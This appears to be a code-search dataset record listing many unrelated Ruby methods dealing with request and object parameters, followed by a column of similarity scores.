"def init_params(params)\n @client_id = params[:client_id]\n\n @edit_kyc_id = params[:edit_kyc_id]\n\n @user_extended_detail_id = params[:user_extended_detail_id]\n\n @user_kyc_detail_id = params[:user_kyc_detail_id]\n\n @admin_email = params[:admin_email]\n\n @user_id = params[:user_id]\n\n @client = Client.get_from_memcache(@client_id)\n end",
"def params=(_); end",
"def clean_params params_hsh\n clone = params_hsh.clone\n clone.delete 'splat'\n clone.delete 'captures'\n clone\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def makena_hsh_obj(objsym, header=nil, sender=\"id\", options=[], specials=[])\n hsh||={}\n hsh[objsym]={}\n hsh[objsym][\"header\"]=(header||objsym.to_s.humanize.titleize).to_s\n hsh[objsym][\"sender\"]=sender.to_s\n hsh[objsym][\"options\"]=options.map{|a| a.to_s}\n hsh[objsym][\"specials\"]=specials.map{|a| a.to_sym}\n hsh\n end",
"def parameters\n result = (defined? @object.arguments) ? @object.arguments : {}\n result\n end",
"def format_params(params, object_key)\n return params unless object_key\n\n params = [params] unless params.is_a?(Array)\n Hash[object_key, params]\n end",
"def body_parameters\n p = Hash.new\n p\n end",
"def convert_to_primitive_parameters(hash, user_id)\n resp = convert_parameters(hash, user_id)\n return nil if resp.nil?\n resp[:initial_video] = resp[:initial_video].id if resp[:initial_video]\n resp[:audio_track] = resp[:audio_track].id if resp[:audio_track]\n resp[:components].each do |component|\n component[:video] = component[:video].id if component[:video]\n component[:image] = component[:image].id if component[:image]\n if component[:type] == TEXT_COMPONENT\n component[:content] = component[:content].gsub('<br/>', \"\\n\")\n component[:background_color] = ::SETTINGS['colors'][component[:background_color]]['code']\n component[:text_color] = ::SETTINGS['colors'][component[:text_color]]['code']\n end\n end\n resp\n end",
"def obj_params\n params.require(:data).require(:attributes)\n end",
"def nhx_parameters\n @nhx_parameters ||= {}\n @nhx_parameters\n end",
"def nhx_parameters\n @nhx_parameters ||= {}\n @nhx_parameters\n end",
"def parameters=(_); end",
"def slider_object_params\n params[:slider_object]\n params.require(:slider_objects).permit(:project_id, :resource, :position, :_destroy, :description, :order)\n end",
"def params\n @params ||= {}\n end",
"def params\n @params ||= {}\n end",
"def get_resource_params\n \traise NotImplementedError\n end",
"def build(hsh)\n hsh.each do |k, v|\n k = Utils.camelize k.to_s if k.is_a? Symbol\n @parameters[k] = v.is_a?(Array) ? v.join(',') : v.to_s\n end\n\n self\n end",
"def mWarehouseParams(inParams = {})\n\n retParams = @m_warehouseDefaults.dup\n\n retParams[:mesh_name] = case inParams[:colour]\n when /(red|blue)/ then \"warehouse-#$1\"\n when nil then \"warehouse\"\n else raise \"Unknown warehouse colour #{inParams[:colour]}\"\n end\n\n retParams[:type] = mType(inParams)\n retParams[:target_types] = mTargetTypes(inParams)\n retParams[:remnant] = $currentLogic.mRemnant.mMediumGradeRemnant(@m_warehouseNum)\n retParams[:scanner_symbol] = mScannerSymbol(retParams.merge(inParams))\n mKhaziAddBaseParams(retParams, inParams)\n retParams.merge!(inParams)\n retParams\n end",
"def params\n @params ||= {}\n end",
"def params\n @params ||= {}\n end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def resource_params\n {}\n end",
"def initialize(params:, robot:, surface:)\n self.params = Hash[*[self.class::PARAMS_CONFIG, params].transpose.flatten(1)]\n self.robot = robot\n self.surface = surface\n end",
"def init_params(params)\n @params = params\n @client_id = params[:client_id].to_i\n @event_source = params[:event_source]\n @event_name = params[:event_name]\n @event_data = params[:event_data]\n @event_timestamp = params[:event_timestamp].to_i\n\n @filtered_webhook_settings = []\n @event_obj = {}\n @lock_id = nil\n end",
"def request_params(params)\n headers = params[:headers] || {}\n\n if params[:scheme]\n scheme = params[:scheme]\n port = params[:port] || DEFAULT_SCHEME_PORT[scheme]\n else\n scheme = @scheme\n port = @port\n end\n if DEFAULT_SCHEME_PORT[scheme] == port\n port = nil\n end\n\n if params[:region]\n region = params[:region]\n host = params[:host] || region_to_host(region)\n else\n region = @region || DEFAULT_REGION\n host = params[:host] || @host || region_to_host(region)\n end\n\n path = params[:path] || object_to_path(params[:object_name])\n path = '/' + path if path[0..0] != '/'\n\n if params[:bucket_name]\n bucket_name = params[:bucket_name]\n\n if params[:bucket_cname]\n host = bucket_name\n else\n path_style = params.fetch(:path_style, @path_style)\n if !path_style\n if COMPLIANT_BUCKET_NAMES !~ bucket_name\n Fog::Logger.warning(\"fog: the specified s3 bucket name(#{bucket_name}) is not a valid dns name, which will negatively impact performance. For details see: https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucketnamingrules.html\")\n path_style = true\n elsif scheme == 'https' && !path_style && bucket_name =~ /\\./\n Fog::Logger.warning(\"fog: the specified s3 bucket name(#{bucket_name}) contains a '.' so is not accessible over https as a virtual hosted bucket, which will negatively impact performance. For details see: https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucketnamingrules.html\")\n path_style = true\n end\n end\n\n # uses the bucket name as host if `virtual_host: true`, you can also\n # manually specify the cname if required.\n if params[:virtual_host]\n host = params.fetch(:cname, bucket_name)\n elsif path_style\n path = bucket_to_path bucket_name, path\n elsif host.start_with?(\"#{bucket_name}.\")\n # no-op\n else\n host = [bucket_name, host].join('.')\n end\n end\n end\n\n ret = params.merge({\n :scheme => scheme,\n :host => host,\n :port => port,\n :path => path,\n :headers => headers\n })\n\n #\n ret.delete(:path_style)\n ret.delete(:bucket_name)\n ret.delete(:object_name)\n ret.delete(:region)\n\n ret\n end",
"def resource_params\n raise NotImplementedError\n end",
"def set_customer_information(params={})\r\n @PARAM_HASH['NAME1'] = params[:first_name]\r\n @PARAM_HASH['NAME2'] = params[:last_name]\r\n @PARAM_HASH['ADDR1'] = params[:address1]\r\n @PARAM_HASH['ADDR2'] = params[:address2]\r\n @PARAM_HASH['CITY'] = params[:city]\r\n @PARAM_HASH['STATE'] = params[:state]\r\n @PARAM_HASH['ZIPCODE'] = params[:zip_code]\r\n @PARAM_HASH['COUNTRY'] = params[:country]\r\n @PARAM_HASH['PHONE'] = params[:phone]\r\n @PARAM_HASH['EMAIL'] = params[:email]\r\n end",
"def hk_params\n params.require(:hk).permit(:hall_size, :kitchen_size, :floor, :sold_out, :status,:project_id)\n end",
"def params(child_p = {})\n { hapikey: @key }.merge(child_p)\n end"
] |
[
"0.6136737",
"0.6020577",
"0.6020577",
"0.5861519",
"0.5722755",
"0.57027036",
"0.5662899",
"0.5618387",
"0.55719286",
"0.55719286",
"0.5543352",
"0.54801357",
"0.5471646",
"0.54489785",
"0.54458374",
"0.54438835",
"0.54155284",
"0.54060507",
"0.54060507",
"0.54041606",
"0.5399391",
"0.5399391",
"0.5380636",
"0.5378215",
"0.5374745",
"0.5369317",
"0.53540283",
"0.533224",
"0.53296804",
"0.53225607",
"0.53137064",
"0.53045493",
"0.530052",
"0.5286502",
"0.52818084",
"0.5267641",
"0.5261023",
"0.52587473",
"0.5257299",
"0.5242499",
"0.5242499",
"0.523594",
"0.52318454",
"0.5231692",
"0.52233094",
"0.52158505",
"0.5201597",
"0.5180369",
"0.5168314",
"0.5167165",
"0.516545",
"0.5161058",
"0.5161058",
"0.5161058",
"0.5161058",
"0.5161058",
"0.5161058",
"0.5161058",
"0.5161058",
"0.5161058",
"0.5161058",
"0.5161058",
"0.5161058",
"0.5161058",
"0.5161058",
"0.5161058",
"0.5161058",
"0.5161058",
"0.51569366",
"0.5155881",
"0.5149309",
"0.51443756",
"0.5142828",
"0.51386195",
"0.51380926",
"0.51380926",
"0.51370347",
"0.5128119",
"0.5125669",
"0.5125669",
"0.5124083",
"0.5117047",
"0.51148415",
"0.511038",
"0.511038",
"0.5105126",
"0.5105126",
"0.5105126",
"0.5105126",
"0.5105126",
"0.5105126",
"0.5105126",
"0.5105126",
"0.5097075",
"0.50899464",
"0.50898194",
"0.508499",
"0.5083343",
"0.5082742",
"0.5080227",
"0.50791615"
] |
0.0
|
-1
|
a Process can execute any kind of predefined controler task. Those function build hParams with Provider compliant data (mapped) Results are formatted as usual framework Data object and stored.
|
def connect(sObjectType)
hParams = _get_object_params(sObjectType, :create_e, :connect, true)
oControlerObject = @oProvider.connect(sObjectType, hParams)
oDataObject = ForjLib::Data.new
oDataObject.set(oControlerObject, sObjectType) { | sObjType, oObject |
begin
_return_map(sObjType, oObject)
rescue => e
raise ForjError.new(), "connect %s.%s : %s" % [@oForjProcess.class, sObjectType, e.message]
end
}
@ObjectData.add oDataObject
oDataObject
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def interpret_task\n\n command = params[:process].to_sym\n respond_to do |format|\n case command\n when :setup\n setup_project() if @project.may_setup?\n @project.setup! # TODO refactor setup_project as a :before callback to event\n\n format.html { redirect_to project_path(@project, :submit_action => 'setup'), notice: 'Request for project set-up has been submitted.' }\n format.json {render :json => {'data' => 'Request for project set-up has been submitted.'}.merge(state_snapshot)}\n when :start, :stop, :abort, :terminate\n submit_process(command) if @project.send(\"may_#{command}?\")\n @project.send(\"#{command}!\") # TODO refactor as a :before callback to events\n format.html { redirect_to project_path(@project, :submit_action => params[:process]), notice: 'Request for project '+params[:process]+' has been submitted.' }\n format.json {render :json => {'data' => 'Request for project '+params[:process]+' has been submitted.'}.merge(state_snapshot)}\n when :download, :export\n\n id_ary = params[:ids].map(&:to_i).reverse\n # save data for selected results\n result_download_data = Hash.new\n result_download_data[:test_ids] = id_ary.join(',')\n result_download_data[:project_id] = @project.id\n result_download_data[:result_type] = params[:process]\n result_download = ProjectResultDownload.new(result_download_data)\n result_download.save!\n\n project_results_download(params[:process], id_ary, result_download.id)\n\n format.json {render :json => {'request_id' => result_download.id, 'status' => 0}}\n else\n format.html { redirect_to project_path(@project), notice: 'Unidentified process command.' }\n format.json {render :json => {'data' => 'Unidentified process command.'}}\n end\n\n end\n end",
"def perform(params)\n Commands::Processor.init(params).run\n end",
"def process_detail_params\n params.require(:process_detail).permit(:process_name, :parent_process_id, :cost, :currency_type_id, :uom_detail_id)#, :project_detail\n end",
"def format_task_process\n XES::Trace.new.tap do |trace|\n trace.concept_name = \"task process %s\" % Util::UUID.generate\n trace.attributes << XES.string(\"pione:traceType\", \"task_process\")\n trace.events = @task_process_log.records.map do |record|\n XES::Event.new.tap do |event|\n # standard attributes\n event.concept_name = record.name\n # event.org_resource = record.caller\n event.time_timestamp = record.timestamp\n event.lifecycle_transition = record.transition\n\n # pione extension attributes\n event.attributes << XES.string(\"pione:ruleType\", record.rule_type)\n event.attributes << XES.string(\"pione:inputs\", record.inputs)\n event.attributes << XES.string(\"pione:parameters\", record.parameters)\n end\n end\n end\n end",
"def _process_local_to_load(index, my_process, a_process)\n my_process[:process_path] = a_process[:process_path]\n\n if a_process[:process_name].nil?\n my_process[:process_name] = File.basename(a_process[:process_path])\n else\n my_process[:process_name] = a_process[:process_name]\n end\n\n if a_process[:controller_path]\n my_process[:controller_path] = a_process[:controller_path]\n else\n my_process[:controller_name] = a_process[:controller_name]\n end\n\n defaults_file = a_process[:defaults]\n if defaults_file.nil?\n path = a_process[:process_path]\n path['.rb'] = ''\n defaults_file = File.join(path, 'defaults.yaml')\n end\n\n _process_load_data(config, index,\n a_process[:process_name], defaults_file,\n PRC::SectionConfig)\n\n data_file = a_process[:data]\n if defaults_file.nil?\n path = a_process[:process_path]\n path['.rb'] = ''\n data_file = File.join(path, 'data.yaml')\n end\n\n _process_load_data(Lorj.data, index,\n a_process[:process_name], data_file)\n\n # TODO: Implement Object definition as a config layer.\n # _process_load_definition(definition, index, a_process[:process_name],\n # a_process[:definition])\n\n my_process\n end",
"def process_detail_params\n params.require(:process_detail).permit(:process_name, :parent_process_id, :cost, :belongs_to, :belongs_to, :belongs_to)\n end",
"def process\n process_setting_specs\n process_shard_specs\n process_connection_specs\n end",
"def create\n @hq_proc = HqProc.new(params[:hq_proc])\n \n params[:hq_proc][:new_hq_rsrc_usage_attributes] ||= {}\n params[:hq_proc][:existing_hq_rsrc_usage_attributes] ||= {}\n params[:hq_proc][:assigned_hq_rsrc] ||= {}\n respond_to do |format|\n if @hq_proc.save\n flash[:notice] = 'Process was successfully created.'\n format.html { redirect_to :action => :index }\n format.xml { render :xml => @hq_proc, :status => :created, :location => @hq_proc }\n else\n messages = '<ul>Error:'\n @hq_proc.errors.full_messages.each {|msg| messages += '<li>'+msg+'</li>'}\n messages += '</ul>'\n flash[:notice] = messages\n format.html { redirect_to :action => \"new\", :template => 'reflected/new' }\n format.xml { render :xml => @hq_proc.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def process\n end",
"def execute()\n \n # Retrieve a single entry from KS_SRV_Helper form\n base_record = @@remedy_forms['KS_SRV_CustomerSurvey'].find_entries(\n :single,\n :conditions => [%|'CustomerSurveyInstanceId' = \"#{@parameters['Submission ID']}\" OR 'CustomerSurveyID' = \"#{@parameters['Submission ID']}\"|],\n :fields => :all\n )\n \n raise \"Unable to find KS_SRV_CustomerSurvey record with CustomerSurvey ID or instanceId of: #{@parameters['Submission ID']}\" if base_record.nil?\n \n\tif (@taskVersion == \"3\")\n\t#v3\n # Build the template record from the KS_SRV_CustomerSurvey record, which\n # includes the Template fields.\n\t template_record = Records::Template.new(base_record)\n \n # Build the template dataset mappings based on the KS_SRV_DataSet form\n # records for dataset specified on the current KS_SRV_CustomerSurvey\n # record.\n\n\t @dataset_hash = Records::TemplateDataSetMapping.find_all(\n\t\t :data_set => template_record.data_set\n\t\t).inject({}) do |hash, mapping_record|\n\t\t # Define the current KS_SRV_DataSet record's field_id as a Fixnum\n\t\t field_id = mapping_record.field_id.to_i\n\t\t # Retrieve the ArsModels::Field associated with the current\n\t\t # KS_SRV_CustomerSurvey field.\n\t\t mapping_field = Records::RequestBase.form.field_for(field_id)\n\t\t # Unless the field does not exist on the form, or the field is display only\n\t\t unless mapping_field.nil? || mapping_field.entrymode == \"DISPLAY_ONLY\"\n\t\t\t# Retrieve the value of the field on the KS_SRV_CustomerSurvey entry\n\t\t\tvalue = base_record[field_id]\n\t\t\t# Map the KS_SRV_DataSet record's field label value to the field value\n\t\t\thash[mapping_record.field_label] = value.respond_to?(:value) ? value.value : value\n\t\t end\n\t\t # Return the hash to continue injecting\n\t\t hash\n\t\tend\n\t\t puts(format_hash(\"Dataset Found: \", @dataset_hash)) if @debug_logging_enabled\n\t\n\telsif (@taskVersion == \"4\")\n\t \n\t template_record = Records::Template.new(base_record, :context => @@remedy_context)\n\t \n\t @dataset_hash = Records::TemplateDataSetMapping.find_all(\n\t\t :data_set => template_record.data_set, :context => @@remedy_context\n\t\t).inject({}) do |hash, mapping_record|\n\t\t # Define the current KS_SRV_DataSet record's field_id as a Fixnum\n\t\t field_id = mapping_record.field_id.to_i\n\t\t # Retrieve the ArsModels::Field associated with the current\n\t\t # KS_SRV_CustomerSurvey field.\n\t\t mapping_field = Records::RequestBase.form.field_for(field_id)\n\t\t # Unless the field does not exist on the form, or the field is display only\n\t\t unless mapping_field.nil? || mapping_field.entrymode == \"DISPLAY_ONLY\"\n\t\t\t# Retrieve the value of the field on the KS_SRV_CustomerSurvey entry\n\t\t\tvalue = base_record[field_id]\n\t\t\t# Map the KS_SRV_DataSet record's field label value to the field value\n\t\t\thash[mapping_record.field_label] = value.respond_to?(:value) ? value.value : value\n\t\t end\n\t\t # Return the hash to continue injecting\n\t\t hash\n\t\tend\n\t\tputs(format_hash(\"Dataset Found: \", @dataset_hash)) if @debug_logging_enabled\n\t\t\n\tend\n \n dataset_results = \"\" \n @dataset_hash.each_pair {|key, value|\n dataset_results << %|<result name=\"#{key}\">#{escape(value)}</result>|\n }\n \n <<-RESULTS\n <results>\n #{dataset_results}\n </results>\n RESULTS\n \n end",
"def initialize(process); end",
"def process(env); end",
"def run input, params = {}\n @klass.new(input, options).process\n end",
"def processes\n GoodData::Process.all\n end",
"def load_process_definition\n\n pdef, prep = load_process_def\n\n [ pdef, prep.to_a.to_json ]\n end",
"def load_task_param_variables!\n Task[].each do |task_name, task|\n task.param_values.each do |param_name, param_value|\n self[\"#{task.name}:#{param_name}\"] = param_value\n end\n end\n end",
"def receive_service_output\n # Get params and associate :output with the project with id :id\n @project.output = params[:output]\n @project[:runtime] = params[:time_elapsed]\n @project[:eta] = 0;\n @project.save;\n end",
"def child_process(result)\n end",
"def process(process_id, plan, data)\n # process.audit(\"process #{title}\", RulesEngine::Process::AUDIT_INFO) \n # RulesEngine::Rule::Outcome.new(RulesEngine::Rule::Outcome::STOP_SUCCESS)\n # RulesEngine::Rule::Outcome.new(RulesEngine::Rule::Outcome::STOP_FAILURE)\n # RulesEngine::Rule::Outcome.new(RulesEngine::Rule::Outcome::START_WORKFLOW, 'next_workflow')\n RulesEngine::Rule::Outcome.new(RulesEngine::Rule::Outcome::NEXT)\n end",
"def _process_module_set_ctr(my_process, controllers, controller_name)\n return if controller_name.nil?\n\n unless controller_name.is_a?(String)\n controller_name = controller_name.to_s\n end\n controller_path = controllers[controller_name]\n\n if controller_path.nil?\n PrcLib.warning(\"Controller '%s' was not found. Please check. The \"\\\n \"process may not work. \\nValid one are '%s'\",\n controller_name, controllers.keys)\n return\n end\n\n my_process[:controller_path] = controller_path\n my_process[:controller_name] = controller_name\n end",
"def as_process(xml)\n xml.process(version: version,\n priority: priority,\n note: note,\n lifecycle: lifecycle,\n laneId: lane_id,\n elapsed: elapsed,\n attempts: attempts,\n datetime: created_at.to_time.iso8601,\n status: status,\n name: process)\n end",
"def generateRakeFor_ProcessSourceFiles\n if (!@Context[:RakeSetupFor_CalibrateRecordings])\n generateRakeFor_CalibrateRecordings\n end\n\n # List of process tasks\n # list< Symbol >\n lLstProcessTasks = []\n\n # 1. Handle recordings\n lRecordingsConf = @RecordConf[:Recordings]\n if (lRecordingsConf != nil)\n # Read global processes and environment processes to be applied before and after recordings\n lGlobalProcesses_Before = lRecordingsConf[:GlobalProcesses_Before] || []\n lGlobalProcesses_After = lRecordingsConf[:GlobalProcesses_After] || []\n lEnvProcesses_Before = lRecordingsConf[:EnvProcesses_Before] || {}\n lEnvProcesses_After = lRecordingsConf[:EnvProcesses_After] || {}\n lTracksConf = lRecordingsConf[:Tracks]\n if (lTracksConf != nil)\n lTracksConf.each do |iLstTracks, iRecordingConf|\n lRecEnv = iRecordingConf[:Env]\n # Compute the list of processes to apply\n lEnvProcesses_RecordingBefore = lEnvProcesses_Before[lRecEnv] || []\n lEnvProcesses_RecordingAfter = lEnvProcesses_After[lRecEnv] || []\n lRecordingProcesses = iRecordingConf[:Processes] || []\n # Optimize the list\n lLstProcesses = optimizeProcesses(lGlobalProcesses_Before + lEnvProcesses_RecordingBefore + lRecordingProcesses + lEnvProcesses_RecordingAfter + lGlobalProcesses_After)\n # Get the file name to apply processes to\n lRecordedBaseName = File.basename(getRecordedFileName(lRecEnv, iLstTracks))[0..-5]\n # Create the target that gives the name of the final wave file, and make it depend on the Calibration.Info target only if calibration might be needed\n lPrerequisites = []\n lPrerequisites << \"#{lRecordedBaseName}.Calibration.info\".to_sym if (iRecordingConf[:CalibrateWithEnv] != nil)\n lFinalBeforeMixTarget = \"FinalBeforeMix_Recording_#{lRecordedBaseName}\".to_sym\n\n desc \"Get final wave file name for recording #{lRecordedBaseName}\"\n task lFinalBeforeMixTarget => lPrerequisites do |iTask|\n lRecordedBaseName2 = iTask.name.match(/^FinalBeforeMix_Recording_(.*)$/)[1]\n # Get the name of the file that may be processed\n # Set the cleaned file as a default\n lFileNameToProcess = getNoiseGateFileName(lRecordedBaseName2)\n if (!iTask.prerequisites.empty?)\n lCalibrationInfo = Rake::Task[iTask.prerequisites.first].data\n if (lCalibrationInfo[:RMSReference] != lCalibrationInfo[:RMSRecording])\n # Apply processes on the calibrated file\n lFileNameToProcess = getCalibratedFileName(lRecordedBaseName2)\n end\n end\n # By default, the final name is the one to be processed\n lFinalFileName = lFileNameToProcess\n # Get the list of processes from the context\n if (@Context[:Processes][lRecordedBaseName2] != nil)\n # Processing has to be performed\n # Now generate the whole branch of targets to process the choosen file\n lFinalFileName = generateRakeForProcesses(@Context[:Processes][lRecordedBaseName2][:LstProcesses], lFileNameToProcess, getProcessesRecordDir)\n end\n iTask.data = {\n :FileName => lFinalFileName\n }\n end\n\n if (!lLstProcesses.empty?)\n # Generate the Dependencies task, and make it depend on the target creating the processing chain\n lDependenciesTask = \"Dependencies_ProcessRecord_#{lRecordedBaseName}\".to_sym\n\n desc \"Create the targets needed to process tracks [#{iLstTracks.join(', ')}]\"\n task lDependenciesTask => lFinalBeforeMixTarget do |iTask|\n lRecordedBaseName2 = iTask.name.match(/^Dependencies_ProcessRecord_(.*)$/)[1]\n # Make the final task depend on the processed file\n Rake::Task[@Context[:Processes][lRecordedBaseName2][:FinalTask]].prerequisites.replace([\n iTask.name,\n Rake::Task[iTask.prerequisites.first].data[:FileName]\n ])\n end\n\n # Make the final task depend on the Dependencies task only for the beginning\n lFinalTask = \"ProcessRecord_#{iLstTracks.join('_')}\".to_sym\n lLstProcessTasks << lFinalTask\n\n desc \"Apply processes to recording #{lRecordedBaseName}\"\n task lFinalTask => lDependenciesTask\n\n @Context[:Processes][lRecordedBaseName] = {\n :LstProcesses => lLstProcesses,\n :FinalTask => lFinalTask\n }\n end\n end\n end\n end\n\n # 2. Handle Wave files\n lWaveFilesConf = @RecordConf[:WaveFiles]\n if (lWaveFilesConf != nil)\n lGlobalProcesses_Before = lWaveFilesConf[:GlobalProcesses_Before] || []\n lGlobalProcesses_After = lWaveFilesConf[:GlobalProcesses_After] || []\n lLstWaveInfo = lWaveFilesConf[:FilesList]\n if (lLstWaveInfo != nil)\n lLstWaveInfo.each do |iWaveInfo|\n lWaveProcesses = iWaveInfo[:Processes] || []\n if (iWaveInfo[:Position] != nil)\n lWaveProcesses << {\n :Name => 'SilenceInserter',\n :Begin => iWaveInfo[:Position],\n :End => 0\n }\n end\n # Optimize the list\n lLstProcesses = optimizeProcesses(lGlobalProcesses_Before + lWaveProcesses + lGlobalProcesses_After)\n lFinalBeforeMixTarget = \"FinalBeforeMix_Wave_#{iWaveInfo[:Name]}\"\n\n desc \"Get final wave file name for Wave #{iWaveInfo[:Name]}\"\n task lFinalBeforeMixTarget do |iTask|\n lWaveName = iTask.name.match(/^FinalBeforeMix_Wave_(.*)$/)[1]\n # By default, use the original Wave file\n lFinalFileName = getWaveSourceFileName(lWaveName)\n if (@Context[:WaveProcesses][lWaveName] != nil)\n # Generate rake tasks for processing the clean recorded file.\n lFinalFileName = generateRakeForProcesses(@Context[:WaveProcesses][lWaveName][:LstProcesses], lFinalFileName, getProcessesWaveDir)\n end\n iTask.data = {\n :FileName => lFinalFileName\n }\n end\n\n if (!lLstProcesses.empty?)\n # Generate the Dependencies task, and make it depend on the target creating the processing chain\n lDependenciesTask = \"Dependencies_ProcessWave_#{iWaveInfo[:Name]}\".to_sym\n\n desc \"Create the targets needed to process Wave #{iWaveInfo[:Name]}\"\n task lDependenciesTask => lFinalBeforeMixTarget do |iTask|\n lWaveName = iTask.name.match(/^Dependencies_ProcessWave_(.*)$/)[1]\n # Make the final task depend on the processed file\n Rake::Task[@Context[:WaveProcesses][lWaveName][:FinalTask]].prerequisites.replace([\n iTask.name,\n Rake::Task[iTask.prerequisites.first].data[:FileName]\n ])\n end\n\n # Make the final task depend on the Dependencies task only for the beginning\n lFinalTask = \"ProcessWave_#{iWaveInfo[:Name]}\".to_sym\n lLstProcessTasks << lFinalTask\n\n desc \"Apply processes to Wave #{iWaveInfo[:Name]}\"\n task lFinalTask => lDependenciesTask\n\n @Context[:WaveProcesses][iWaveInfo[:Name]] = {\n :LstProcesses => lLstProcesses,\n :FinalTask => lFinalTask\n }\n end\n end\n end\n end\n\n # 3. Generate global task\n\n desc 'Process source files'\n task :ProcessSourceFiles => lLstProcessTasks\n\n @Context[:RakeSetupFor_ProcessSourceFiles] = true\n end",
"def variables\n {\n 'input' => {\n 'environmentName' => @app_env,\n 'intentId' => intent_id,\n 'name' => @task.class.name,\n 'maxProcessingTime' => @task.try(:max_processing_time),\n 'programmingLanguage' => 'RUBY',\n 'data' => @serializer.encode(@properties.from(@task))\n }\n }\n end",
"def create_workflow_hash\n self.workflow_hash= {}\n \n # define test flow\n # self.workflow_hash[:test]={}\n # self.workflow_hash[:test][:type]='RUBY' #or url\n # self.workflow_hash[:test][:process_flow]= TheProcessDefinition0\n # define test2 flow\n # self.workflow_hash[:test2]={}\n # self.workflow_hash[:test2][:type]='RUBY' #or url\n # self.workflow_hash[:test2][:process_flow]= TheProcessDefinition2\n # define balance transfer flow\n ids= [:transfer, :pasaload, :load, :dispense_pin, :dealer_load, :balance_inquiry, :worktest]\n ids.each { |i| \n self.workflow_hash[i]={}\n self.workflow_hash[i][:type]='URL' #or url\n self.workflow_hash[i][:url]= \"process/process_definitions/#{i.to_s}.xml\"\n self.workflow_hash[i][:host]= 'localhost'\n self.workflow_hash[i][:host]= 'svbalance.cure.com.ph' if Socket.gethostname == \"svbalance.cure.com.ph\" \n self.workflow_hash[i][:port]= '8080'\n }\n \nend",
"def process\n raise \"Must be implemented\"\n end",
"def process(params, component)\n Info << \"#{component.name.to_s.upcase} -> #{self.class}\"\n @component = component.dup\n @meta = params[:meta]\n fields.each do |hand|\n @result[hand.name.to_sym] =\n if hand.is_a?(:field)\n value = run(hand, params)\n ret = hand.run( value, params, tlog )\n ret\n elsif hand.is_a?(:plugin)\n # create plugin instance\n field = hand.run(params, tlog)\n field.plugin.dispatch(field, self)\n field.plugin.prepare\n field.plugin\n end\n end\n self\n rescue\n self\n end",
"def prepare\n #divide along parameters\n #@script.strip!()\n divided_script = @script.split(\"<!par!>\") \n script_with_params = []\n count = 0\n divided_script.each() {|part|\n #puts \"part [#{count}] = #{part}\"\n part.split(\"\\n\").each() {|line|\n next if line.strip.size == 0\n script_with_params << \"#{line.lstrip} \" #TODO: make this work with the line-breaks\n script_with_params << \"\\n\"\n }\n script_with_params.delete_at(script_with_params.size()-1)\n script_with_params << @parameter_array[count]\n count += 1\n }\n\n join = CfHelper.join(script_with_params)\n\n @user_data = join\n end",
"def _process_module_to_load(index, my_process, a_process)\n name = a_process[:process_module]\n\n if name.nil?\n PrcLib.warning(':process_module is empty. Process not properly loaded.')\n return\n end\n\n name = name.to_s if name.is_a?(Symbol)\n\n unless Lorj.processes.key?(name)\n PrcLib.warning(\"Unable to find Process module '%s'. Process not \"\\\n 'properly loaded.', name)\n return\n end\n\n module_process = Lorj.processes[name]\n my_process[:process_name] = name\n my_process[:process_path] = module_process.process\n my_process[:lib_name] = module_process.lib_name\n\n if a_process[:controller_path]\n my_process[:controller_path] = a_process[:controller_path]\n return my_process\n end\n\n _process_module_set_ctr(my_process, module_process.controllers,\n a_process[:controller_name])\n\n _process_load_data(config, index, name, module_process.defaults_file,\n PRC::SectionConfig)\n\n _process_load_data(Lorj.data, index, name, module_process.data_file)\n\n # TODO: Implement Object definition as a config layer.\n # _process_load_definition(definition, index, name,\n # module_process.definition)\n\n my_process\n end",
"def process_command_line(test, mediainfo, src_file, filename)\n\n command = test.command\n\n needs_scaling = mediainfo[:needs_scaling]\n scaling_option = needs_scaling ? test.scaling_option : ''\n\n interlaced = mediainfo[:interlaced]\n interlaced_option = interlaced ? test.interlaced_option : ''\n\n params = {'INPUT_FILE' => src_file.to_s, 'OUTPUT_FILE' => filename, 'INTERLACED_OPTION' => interlaced_option, 'SCALING_OPTION' => scaling_option}\n\n params.each do |key, value|\n command = command.gsub(key, value)\n end\n\n command\nend",
"def processor=(_arg0); end",
"def call\n process\n end",
"def task_mapping_params\n #params.require(:branch).permit(:name, :active, :user_id)\n\n raw_parameters = { :assign_date => \"#{params[:assign_date]}\", :completed_date => \"#{params[:completed_date]}\", :active => \"#{params[:active]}\", :priority => \"#{params[:priority]}\", :planned_duration => \"#{params[:planned_duration]}\", :actual_duration => \"#{params[:actual_duration]}\", :assigned_by => \"#{params[:assigned_by]}\", :sprint_planning_id => \"#{params[:sprint_planning_id]}\", :task_status_master_id => \"#{params[:task_status_master_id]}\", :project_task_id => \"#{params[:project_task_id]}\", :project_master_id => \"#{params[:project_master_id]}\", :release_planning_id => \"#{params[:release_planning_id]}\", :user_id => \"#{params[:user_id]}\" }\n parameters = ActionController::Parameters.new(raw_parameters)\n parameters.permit(:assign_date, :completed_date, :active, :priority, :planned_duration, :actual_duration, :assigned_by, :sprint_planning_id, :task_status_master_id, :project_task_id, :project_master_id, :release_planning_id, :user_id)\n \n end",
"def process\n @provider.process\n campaigns = @provider.campaigns\n # TODO : separate compute stats in a different class\n stats = {}\n stats[:nb_campaigns] = campaigns.count\n stats[:nb_ad_groups] = campaigns.map { |i| i[:nb_ad_groups] }.inject(0, &:+)\n campaigns.sort_by! { |hsh| hsh[:name] }\n process_outputs campaigns, stats\n end",
"def initialize(process)\n self.process = process\n end",
"def process\n raise NotImplementedError(\"The instance method '#process' must be implemented for the operation\")\n end",
"def create\n @selective_process = SelectiveProcess.new(selective_process_params)\n\n respond_to do |format|\n if @selective_process.save\n format.html { redirect_to @selective_process, notice: 'Processo criado com sucesso.' }\n format.json { render :show, status: :created, location: @selective_process }\n else\n format.html { render :new }\n format.json { render json: @selective_process.errors, status: :unprocessable_entity }\n end\n end\n end",
"def task_params\n params.require(:task).permit(:name,:hh, :activity, :date, :observations, :client_id, :project_id, :place_id, :type_id, :system_responsible_id, :place_responsible_id)\n end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def processor; end",
